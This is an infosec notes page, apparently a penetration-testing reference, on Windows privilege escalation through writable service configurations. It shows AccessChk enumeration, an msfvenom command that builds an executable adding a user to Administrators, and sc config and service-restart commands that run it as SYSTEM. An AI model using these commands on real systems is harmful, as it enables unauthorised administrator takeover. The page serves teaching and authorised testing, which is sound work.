> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/service-enumeration/insecure-service-permission-binpath.md).

# Insecure Service Permission (binPath)

When a service's configuration is **modifiable by non-administrative users**, an attacker can change its executable path to a malicious binary, gaining code execution as **SYSTEM** when the service starts.

***

### Identify Services with Weak Permissions

Use **Sysinternals AccessChk** to enumerate services where **Users** have write permissions:

```cmd
accesschk64.exe -uvwc *
```

Look for services that allow `BUILTIN\Users` or similar to have `SERVICE_ALL_ACCESS`.

#### Example Output:

```
ping-ser
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW BUILTIN\Users
        SERVICE_ALL_ACCESS
```

> `RW` for `Users` with `SERVICE_ALL_ACCESS` is dangerous and exploitable.

### Confirm Permissions on the Specific Service

```cmd
accesschk64.exe -uvwc ping-ser
```

### Identify the Service Executable Path

```cmd
sc qc ping-ser
```

**Output:**

```
BINARY_PATH_NAME   : C:\Windows\System32\PING.EXE 8.8.8.8
```

***

### Exploitation

#### Create Malicious Payload

Use `msfvenom` to generate an executable that adds a user to the Administrators group:

```bash
msfvenom -p windows/exec CMD="net localgroup Administrators u2 /add" -f exe -o admin-user.exe
```

#### Update the Service Path

```cmd
sc config ping-ser binPath= "C:\Users\u2\Downloads\admin-user.exe"
```

#### Trigger the Service or Reboot

* Restart the service manually if allowed:

```cmd
net stop ping-ser
net start ping-ser
```

* Or reboot the machine if the service starts on boot.

***

### Tools

* [AccessChk – Sysinternals](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)